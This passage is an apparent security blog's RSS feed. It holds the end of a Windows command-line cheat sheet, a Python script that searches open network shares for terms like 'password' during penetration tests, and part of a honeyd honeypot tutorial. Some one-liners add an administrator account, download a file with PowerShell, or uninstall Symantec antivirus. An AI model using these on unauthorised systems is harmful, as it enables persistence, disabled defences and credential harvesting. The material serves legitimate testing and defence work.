<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b /ad | find &quot;blah&quot;</div></div>
<p>Command line history</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">F7</div></div>
<p>Determine the current user (aka whoami Linux equivalent)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">echo %USERNAME%</div></div>
<p>Determine who is apart of the administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators</div></div>
<p>Add a user where travis is the username and password is blah</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user travis blah /add</div></div>
<p>Add user travis to administrators group</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net localgroup administrators travis /add</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net user</div></div>
<p>Map a network share with a given drive letter of T:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net use T: \\serverNameOrIP\shareName</div></div>
<p>List network connections and the programs that are making those connections</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">netstat -nba</div></div>
<p>Display contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">type text.txt</div></div>
<p>Edit contents of file text.txt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">edit text.txt</div></div>
<p>Determine PC name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hostname</div></div>
<p>Run cmd.exe as administrator user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">runas /user:administrator cmd</div></div>
<p>Uninstall a program, Symantec in this case ;-}</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic product where “description=’Symantec’ ” uninstall</div></div>
<p>Determine whether a system is 32 or 64 bit</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic cpu get DataWidth /format:list</div></div>
<p>Powershell one liner download file</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">(new-object System.Net.WebClient).Downloadfile(&quot;http://example.com/file.txt&quot;, &quot;C:\Users\Travis\file.txt&quot;)</div></div>
<p>Information about OS version and other useful system information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">systeminformation</div></div>
<p>Startup applications</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic startup get caption,command</div></div>
<p>Recursively unzip all zip folders, you&#8217;ll need unzip.exe for this</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">FOR /R %a (*.zip) do unzip -d unzipDir &quot;%a&quot;</div></div>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/okaOENTVDig" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/</feedburner:origLink></item>
		<item>
		<title>Search windows open shares with python</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/znMXEHFl0Ec/</link>
		<comments>http://travisaltman.com/search-windows-open-shares-with-python/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 17:21:50 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=399</guid>
		<description><![CDATA[It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s rare during a penetration test that I actually exploit a vulnerability to gain more information. Newcomers to my filed will often use the term &#8220;network security&#8221;. I don&#8217;t care about the network, have the network for all I care. What I&#8217;m more concerned about is the information inside the network. The better way to describe it is &#8220;information security&#8221;. Performing penetration tests one has to keep that in mind, yea it&#8217;s fun to exploit some user that&#8217;s running an old version of war-ftp but if that user doesn&#8217;t yield sensitive information then who cares to some extent.</p>
<p>I often see that professional penetration testers will highlight an open windows share that can be read or written to by everyone. They will often highlight other shares that are accessible by a large group such as Authenticated users. I don&#8217;t want to scoff at these types of open shares as they should be investigated by the business owner that created the open shares. The main thing to consider is what information lies within those open shares. Open shares are usually created for a reason, so that users easily share information. This is not bad unless the information in those shares is secret / classified material. To check for this possible sensitive information one would have to search all the files and folders in that share. Now you can use the cute little dog search feature inside of windows explorer to look for this information but using that your hands are somewhat tied. The search feature inside windows explorer actually does a nice job but if you wanted to automate the process to look at multiple shares and search for multiple terms then you&#8217;re out of luck. Because of this I wanted to script something that would automate the process. Powershell could have been an option but because I&#8217;m already familiar with python I stuck to what I know. This means that in order to run the script you&#8217;ll have to have python installed on windows. I could have written the script to work in Linux but that would have meant using cifs to map drives which seemed like more of a headache then just using python on windows.</p>
<p>You&#8217;ll need to open up a windows command prompt to run the script and it&#8217;s a good idead to <a href="http://showmedo.com/videotutorials/video?name=960000&amp;fromSeriesID=96" target="_blank">add Python to the windows path</a>. So the script takes two arguments. The first argument is the file containing all the shares that you want to search. The second argument is the file that contains all the terms you want to search for. So to run the script you would issue a command similar to below, where searchShares.py is the name of the python script.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">python.exe  searchShares.py  shares.txt  searchTerms.txt</div></div>
<p>Your shares.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">\\one\two<br />
\\three\four\five<br />
\\six\seven\eight\nine</div></div>
<p>Your searchTerms.txt file should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">secret<br />
password<br />
username</div></div>
<p>In the example above the term &#8220;secret&#8221; will be recursively searched in all three shares. Then &#8220;password&#8221; will be recursively searched in all three shares, then so on and so on. The script will output any file, file name, or folder name that matches any of the search terms. Currently the script will read each file in <a href="http://en.wikipedia.org/wiki/Binary_file" target="_blank">binary format</a> which means if it comes across a word document file (such as document.doc) it doesn&#8217;t open / read the file like microsoft word would. The current script reads each line of the binary file looking for your search term. Reading a text file as binary seems to work fine but reading in microsoft office documents as binary have different results. One thing I&#8217;ve noticed in my testing is that generally speaking it does just fine searching through a *.doc file but has trouble searching through a *.docx file. Binary searching is not ideal but it&#8217;s my current solution. Python has the capability to open microsoft office documents in a more native format but for my first go round I haven&#8217;t implemented that solution.</p>
<p>Once you run the script you will see output similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\temp&gt;python searchShares.py shares.txt searchTerms.txt<br />
<br />
Walking directory \\192.168.99.184\test<br />
<br />
Found \\192.168.99.184\testtest.txt<br />
Found \\192.168.99.184\testTravisAltmanResume.doc<br />
Found \\192.168.99.184\test\onewordDoc1.docx<br />
Found \\192.168.99.184\test\one\twopasswords.txt<br />
Found \\192.168.99.184\test\one\two\threewordDoc2.docx<br />
Searching file \\192.168.99.184\test\test.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term secret<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term secret<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term password<br />
<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term password<br />
<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term password<br />
<br />
Searching file \\192.168.99.184\test\test.txt for term username<br />
Searching file \\192.168.99.184\test\TravisAltmanResume.doc for term username<br />
Searching file \\192.168.99.184\test\one\wordDoc1.docx for term username<br />
Searching file \\192.168.99.184\test\one\two\passwords.txt for term username<br />
Searching file \\192.168.99.184\test\one\two\three\wordDoc2.docx for term username</div></div>
<p>This output on the command prompt is to given as a verbose message so that you know what&#8217;s going on with the script. The output on the command prompt will not tell you if it found a search term. The results of your searching is placed in a text file called output.txt located in the current directory. The content of output.txt should look similar to the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">=== Directories or file names matching search criteria ===<br />
<br />
\\192.168.99.184\test\one\two\passwords.txt<br />
<br />
=== Files matching search criteria ===<br />
<br />
found secret in file \\192.168.99.184\test\one\two\passwords.txt<br />
found password in file \\192.168.99.184\test\one\two\passwords.txt</div></div>
<p>So you can see that it matches the file name as well as the contents of the file. One thing to keep in mind is that this script can take a while to run. There two factors that control how fast it runs, 1) Speed of the network and 2) Size (GB, MB, etc) of the share. It works best when your network is local and not in another city. The biggest factor is going to be the size of the share. Running this script on a major file sahre that is say 800 GB in size will take a very long time. Keep in mind you can specify specific directories, so instead of searching in the root share such as \\share\one maybe it&#8217;s a better idea to searh in \\share\one\two\three. So keep these factors in mind when running the script. Below is the script, simply cut and paste into your text editor of choice and save as searchShares.py</p>
<pre>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<br />
output <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'output.txt'</span><span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'a'</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
fileList <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
shareList <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
eachShare <span style="color: #66cc66;">=</span> shareList.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> shares <span style="color: #ff7700;font-weight:bold;">in</span> eachShare:<br />
&nbsp; &nbsp; path <span style="color: #66cc66;">=</span> shares.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Walking directory '</span> + path + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> root<span style="color: #66cc66;">,</span> subFolders<span style="color: #66cc66;">,</span> files <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">walk</span><span style="color: black;">&#40;</span>path<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">#print 'Indexing ' + root + '\n'</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #008000;">file</span> <span style="color: #ff7700;font-weight:bold;">in</span> files:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileList.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>root<span style="color: #66cc66;">,</span><span style="color: #008000;">file</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Found '</span> + root + <span style="color: #008000;">file</span><br />
keywords <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
searchTerm <span style="color: #66cc66;">=</span> keywords.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'=== Directories or file names matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">any</span><span style="color: black;">&#40;</span>strip <span style="color: #ff7700;font-weight:bold;">in</span> s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; matching <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span>s <span style="color: #ff7700;font-weight:bold;">for</span> s <span style="color: #ff7700;font-weight:bold;">in</span> fileList <span style="color: #ff7700;font-weight:bold;">if</span> strip <span style="color: #ff7700;font-weight:bold;">in</span> s<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> matching:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> + item<span style="color: black;">&#41;</span><br />
output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>=== Files matching search criteria ===<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> term <span style="color: #ff7700;font-weight:bold;">in</span> searchTerm:<br />
&nbsp; &nbsp; strip <span style="color: #66cc66;">=</span> term.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> fileList:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Searching file '</span> + item + <span style="color: #483d8b;">' for term '</span> + term<br />
&nbsp; &nbsp; &nbsp; &nbsp; searchFile <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>item<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'rb'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> searchFile:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span>strip<span style="color: #66cc66;">,</span> line<span style="color: #66cc66;">,</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">IGNORECASE</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'found '</span> + strip + <span style="color: #483d8b;">' in file '</span> + item + <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; searchFile.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
output.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
</pre>
<p>Let me know if this works / doesn&#8217;t work and also let me know if you have any suggestions on how to make it better. One thing I might do in the future is to limit the types of files it searches to say only .txt, .doc, .xls, etc. Happy hunting for information on shares.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/znMXEHFl0Ec" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/search-windows-open-shares-with-python/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://travisaltman.com/search-windows-open-shares-with-python/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 3, static IP’s</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/4dCjY1IWSqQ/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 20:25:29 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=386</guid>
		<description><![CDATA[In the past two tutorials I&#8217;ve used DHCP to obtain IP&#8217;s for our honeypots running honeyd. Using dhcp is fine when testing honeyd and getting familiar with how honeyd works but a static IP may be more suitable for your environment. In my case I initially fooled around with honeyd via dhcp but when I [...]]]></description>
			<content:encoded><![CDATA[<p>In the past two tutorials I&#8217;ve used DHCP to obtain IP&#8217;s for our honeypots running honeyd. Using dhcp is fine when testing honeyd and getting familiar with how honeyd works but a static IP may be more suitable for your environment. In my case I initially fooled around with honeyd via dhcp but when I wanted to implement in a more production environment I realized that static IP&#8217;s are more stable and less maintenance. In order to ping our honeypot the router / switch has to know what IP and MAC address our honeypot has so it can update it&#8217;s information, going through dhcp does this automatically. I&#8217;ll touch on how to add the static IP configuration later but first let&#8217;s go over our layout. I&#8217;ll be using the same simple layout as in the first tutorial as seen below.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_171.png"><img class="aligncenter size-full wp-image-358" title="Selection_171" src="http://travisaltman.com/wp-content/Selection_171.png" alt="" width="557" height="431" /></a></p>
<p>There may need to be some clarification in that diagram. Backtrack is what is actually running honeyd, the address of 192.168.99.135 (labeled Honeyd) which is the honeypot honeyd created can be configured to emulate any operating system. Now for the honeyd config file.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
<br />
bind 192.168.99.135 windows</div></div>
<p>So the only real difference between dhcp and a static IP is the last line of the config. If you go back to the first tutorial you&#8217;ll notice the last line is the only difference as well. As a side I&#8217;ve used some configs that do not have the MAC address defined in their config but when I did not include the &#8220;set windows ethernet&#8221; line honeyd would complain and not start. So after you&#8217;ve set your config simply start honeyd.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd  -d  -f  honeyd.conf</div></div>
<p>After running honeyd you should get similar output to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[27305]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[27305]: listening promiscuously on eth0: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:00:24:ca:6b:08<br />
honeyd[27305]: Demoting process privileges to uid 65534, gid 65534</div></div>
<p>The difference in output between static and dynamic is that you&#8217;ll see the IP address your honeypot gets when using DHCP. With static IP configuration you&#8217;re not going to get that in your output because you already know the IP you&#8217;re using. So the output via DHCP will the lines below included.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd[1870]: [eth0] trying DHCP<br />
honeyd[1870]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[1870]: [eth0] got DHCP offer: 192.168.99.135</div></div>
<p>So now you&#8217;ve take care of properly setting up honeyd to use a static IP address but now you&#8217;ll have to configure the network to use your static IP. In my enterprise production environment I&#8217;ve configured this via the DHCP server. I went into the DHCP server and made a static reservation. I also had to configure the switch I plugged my computer into and tell what VLAN that port needed to be assigned to. If you&#8217;re trying to get this set up in your work production environment you may have to work with your network team that manages DHCP / DNS / routers &amp; switches. Networks may be managed differently so check with your local team on how you would get a static IP. Now if you&#8217;re doing this on a home network for testing then you probably have a wireless router such as Linksys. Inside all of these home wireless routers you can configure static IP&#8217;s. Each wireless router will have different steps for configuring static IP&#8217;s so refer to your manufacturers documentation on how to do that.</p>
<p>Next in this tutorial is what to run your honeypot / honeyd on? Laptop, desktop, server? These questions will be tackled in future articles.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/4dCjY1IWSqQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-3-static-ips/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 2, multiple honeypots</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/CUNKKWoNea8/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 17:43:06 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=371</guid>
		<description><![CDATA[Part one of this series was to mainly get honeyd up and running. Hopefully you also took away from part one that the configuration file, honeyd.conf, is the key to making things work smoothly and properly. Now that you&#8217;ve got honeyd up and running let&#8217;s tweak honeyd.conf so that we have multiple honeypots running on [...]]]></description>
			<content:encoded><![CDATA[<p>Part one of this series was to mainly get honeyd up and running. Hopefully you also took away from part one that the configuration file, honeyd.conf, is the key to making things work smoothly and properly. Now that you&#8217;ve got honeyd up and running let&#8217;s tweak honeyd.conf so that we have multiple honeypots running on one installation of honeyd. One honeypot is great but having three or four is even better. Part two is dedicated to showing you how to properly setup multiple honeypots in honeyd. In part one we only emulated a Windows device via the line below in honeyd.conf</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset</div></div>
<p>The personality tries to emulate what device you are trying to pretend to be. There are plenty of other personalities we could choose from so when setting up multiple honeypots you may want to emulate other devices besides a standard Windows device. Maybe you&#8217;d like to emulate a Solaris box, PBX system, or if you are going to emulate a Windows device make it real juicy to an attacker by making it a Windows 98 device. You&#8217;ve got plenty of options when choosing a personality for your honeypot. Honeyd takes advantage of nmap and the way it fingerprints devices. The list of personalities is located in the nmap.prints file, you should be able to find this file by using the following command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">locate nmap.prints</div></div>
<p>You can view this file using less, for me I issued the following command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">less /usr/share/honeyd/nmap.prints</div></div>
